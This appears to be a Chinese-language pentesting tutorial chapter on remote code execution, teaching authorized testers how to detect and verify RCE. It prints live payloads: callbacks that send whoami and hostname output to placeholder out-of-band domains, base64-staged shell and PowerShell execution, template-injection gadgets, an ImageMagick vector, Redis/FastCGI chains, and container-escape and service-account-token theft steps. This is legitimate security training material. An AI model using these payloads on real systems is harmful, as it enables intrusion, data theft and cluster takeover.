第 5 章 · 04 RCE 远程代码执行


文档摘要

第 5 章 · 04 RCE 远程代码执行 本节摘要:远程代码执行(RCE)在用户输入到达代码执行原语时导致完整服务器控制:OS 命令包装器、动态求值器、模板引擎、反序列化器、媒体处理管线、构建/运行时工具。本节是注入与执行类漏洞的「统摄」——命令注入、反序列化、模板注入、表达式语言、媒体管线、SSRF 到 RCE、容器逃逸都汇聚于此。核心方法论是:优先用安静、可移植的神谕(时间/OAST)确认执行,只在必要时才链到稳定 shell。本节讲透攻击面、检测通道、各类原语、绕过技巧、验证方法与影响评估。 内容来源:原项目知识包 ,汉化并套用体系化模板。 ⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。

第 5 章 · 04 RCE 远程代码执行

本节摘要:远程代码执行(RCE)在用户输入到达代码执行原语时导致完整服务器控制:OS 命令包装器、动态求值器、模板引擎、反序列化器、媒体处理管线、构建/运行时工具。本节是注入与执行类漏洞的「统摄」——命令注入、反序列化、模板注入、表达式语言、媒体管线、SSRF 到 RCE、容器逃逸都汇聚于此。核心方法论是:优先用安静、可移植的神谕(时间/OAST)确认执行,只在必要时才链到稳定 shell。本节讲透攻击面、检测通道、各类原语、绕过技巧、验证方法与影响评估。

内容来源:原项目知识包 strix/skills/vulnerabilities/rce.md,汉化并套用体系化模板。

⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。

学习目标

阅读完本节,你应当能够:

  1. 识别 RCE 的六大攻击面(命令执行、动态求值、反序列化、媒体管线、SSRF 链、容器逃逸)。
  2. 说明三类检测通道(时间型、OAST、输出型)的原理与适用场景。
  3. 掌握命令注入的分隔符/操作符/参数注入/规避技术(Unix 与 Windows 差异)。
  4. 列举各语言的 RCE 原语与 SSRF 到 RCE 的常见桥梁(FastCGI、Redis)。
  5. 在容器化环境中识别边界跨越的尝试(Docker/Kubernetes)。
  6. 用验证步骤确认漏洞、排除误报
  7. 评估 RCE 的影响等级

一、攻击面

命令执行:经包装器(shell、系统工具、CLI)执行 OS 命令。

动态求值:模板引擎、表达式语言、eval/vm

反序列化:跨语言的不安全反序列化与 gadget 链。

媒体管线:ImageMagick、Ghostscript、ExifTool、LaTeX、ffmpeg。

SSRF 链:暴露执行原语的内部服务(FastCGI、Redis)。

容器逃逸:从应用 RCE 到节点/集群攻陷,经 Docker/Kubernetes。

💡 核心心法:RCE 是「执行边界」的属性——找到 sink,建立安静的神谕,只在必要时才升级到持久控制。把转换器/渲染器当作一等 sink,它们许多在进程外运行,带着强大的委托代理。

二、检测通道

时间型

Unix:;sleep 1`sleep 1`|| sleep 1;用短子命令门控延迟以减少噪声。

Windows:

  • CMD:& timeout /t 2 &ping -n 2 127.0.0.1
  • PowerShell:Start-Sleep -s 2

OAST(带外)

用沙箱里的 interactsh-client -v 生成唯一回调域名(*.oast.fun),替换下文的 attacker.tld。每次调用实时把入站 DNS/HTTP 命中打印到 stdout。

DNS:

nslookup $(whoami).xyz.oast.fun

HTTP:

curl https://xyz.oast.fun/$(hostname)

输出型

直接:

;id;uname -a;whoami

编码:

;(id;hostname)|base64

三、利用方法与技术

命令注入

分隔符与操作符:

  • Unix:; | || & && cmd $(cmd) $() ${IFS} 换行/tab
  • Windows:& | || ^

参数注入:

  • 往 CLI 参数注入标志/文件名(如 --output=/tmp/x--config=)
  • 交替引号与转义跳出引号段
  • 环境变量展开:$PATH${HOME}、命令替换
  • Windows:%TEMP%!VAR!、PowerShell $(...)

路径与内建混淆:

  • 强制绝对路径(/usr/bin/id)vs 依赖 PATH
  • id 被过滤时用内建或替代工具(printfgetent)
  • sh -ccmd /c 包装到达 shell

规避:

  • 空白/IFS:${IFS}$'\t'<
  • token 拆分:w'h'o'a'm'iw"h"o"a"m"i
  • 变量构建:a=i;b=d; $a$b
  • Base64 分阶段:echo payload | base64 -d | sh
  • PowerShell:IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))

模板注入

识别服务端模板引擎:Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug。最小探测与对应 gadget:

Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}} Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}} Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>

模板注入的完整 gadget 链见上一节(SSTI),此处仅列最小探测。

反序列化与表达式语言

Java:经 CommonsCollections/BeanUtils/Spring 的 gadget 链;工具 ysoserial;可达 lookup 时的 JNDI/LDAP 链(Log4Shell 式)。

.NET:BinaryFormatter/DataContractSerializer;接受不受信 ViewState 且无 MAC 的 API。

PHP:unserialize() 与 PHAR 元数据;框架和插件中自动加载的 gadget 链。

Python/Ruby:pickleyaml.load/unsafe_loadMarshal;消息队列/缓存中的自动反序列化。

表达式语言:OGNL/SpEL/MVEL/EL 到达 Runtime/ProcessBuilder/exec

媒体与文档管线

ImageMagick/GraphicsMagick:policy.xml 可能限制委托代理,但仍测旧向量:

push graphic-context fill 'url(https://x.tld/a"|id>/tmp/o")' pop graphic-context

Ghostscript:PDF/PS 中的 PostScript:%pipe%id 文件操作符。

ExifTool:调用外部工具或库漏洞的精心构造元数据。

LaTeX:\write18/--shell-escape\input 管道;pandoc 过滤器。

ffmpeg:由编译时开关调停的 concat/protocol 技巧。

SSRF 到 RCE

FastCGI:gopher:// 到 php-fpm(构造 FPM 记录调用 system/exec)。

Redis:gopher:// 写 cron/authorized_keys 或 webroot;允许时的模块加载。

管理界面:内部可达的 Jenkins 脚本控制台、Spark UI、Jupyter 内核。

容器与 Kubernetes

Docker:

  • 从应用 RCE,检查 /.dockerenv/proc/1/cgroup
  • 枚举挂载与能力:capsh --print
  • 滥用:挂载的 docker.sock、hostPath 挂载、特权容器
  • /proc/sys/kernel/core_pattern 或用 --privileged 挂载宿主

Kubernetes:

  • /var/run/secrets/kubernetes.io/serviceaccount 偷服务账号 token
  • 查询 API 拿 pods/secrets;枚举 RBAC
  • 与 10250/10255 上的 kubelet 通信;exec 进 pods
  • 经特权 pods、hostPath 挂载或 daemonsets 提权

四、绕过技巧

编码差异:URL 编码、Unicode 标准化、注释插入、大小写混合;请求走私到达替代解析器。

二进制替代:绝对路径与替代二进制(busybox、sh、env);Windows 变体(PowerShell vs CMD);受限语言绕过。

💡 绕过的本质:RCE 的绕过核心是「找到过滤器拒绝但执行器接受」的表示——这与 SQLi/SSTI 的绕过哲学一脉相承。当命令注入弱时,转向文件写入或反序列化/SSTI 路径。

五、验证与误报排除

确认一个 RCE 真实存在的稳妥步骤:

  1. 最小可靠神谕:提供 DNS/HTTP/时间神谕证明代码执行。
  2. 命令上下文:展示 uid、gid、cwd、env 与受控输出。
  3. 持久化或文件写入:在应用约束下演示。
  4. 容器边界:若容器化,证明边界跨越尝试(宿主文件、kube API)及是否成功。
  5. 可复现:PoC 最小且跨运行与传输可复现。

常见误报:

  • 只有崩溃或超时,无受控行为
  • 受限命令子集的过滤执行,无攻击者可控参数
  • 在受限 VM 中执行的沙箱化解释器,无 IO 或进程派生
  • 非来自执行命令的模拟输出

六、影响评估

  • 远程系统控制(应用用户身份);潜在提权到 root
  • 数据窃取、加密/签名密钥妥协、供应链插入、横向移动
  • 结合容器/Kubernetes 配置错误时的集群攻陷

⚠️ RCE 是 Web 漏洞影响等级的最高一档——任何确认的 RCE 都是严重(Severe/Critical)。即便执行环境受限(沙箱、低权用户),也应评估能否经文件写入、计划任务或横向到达持久控制。

本节要点回顾

  1. 核心心法:RCE 是执行边界的属性——找到 sink,建立安静神谕,只在必要时升级到持久控制;把转换器/渲染器当一等 sink。
  2. 六大攻击面:命令执行、动态求值、反序列化、媒体管线、SSRF 链、容器逃逸。
  3. 三类检测通道:时间(;sleep 1/timeout/Start-Sleep)、OAST(interactsh-client + DNS/HTTP 回调)、输出(;id 直接或 base64 编码)。
  4. 命令注入技术:分隔符(; | || & &&)、参数注入、路径/内建混淆、规避(${IFS}/token 拆分/变量构建/base64 分阶段)。
  5. SSRF 到 RCE 桥梁:FastCGI(gopher:// 到 php-fpm)、Redis(写 cron/authorized_keys)、内部管理界面(Jenkins/Spark/Jupyter)。
  6. 容器逃逸:检查 /.dockerenv//proc/1/cgroup、枚举能力(capsh)、滥用 docker.sock/hostPath/特权容器;K8s 偷 serviceaccount token、查 API、与 kubelet 通信。
  7. 验证五步:最小神谕、命令上下文、持久化/文件写入、容器边界、可复现;警惕崩溃/沙箱/模拟输出导致的误报。

下一节,我们看 XXE(XML 外部实体注入)——这是解析器层面的失败,可读本地文件、做 SSRF、经实体膨胀做 DoS,在某些栈中还能代码执行。


发布者: 作者: 灏天文库 转发
评论区 (0)
U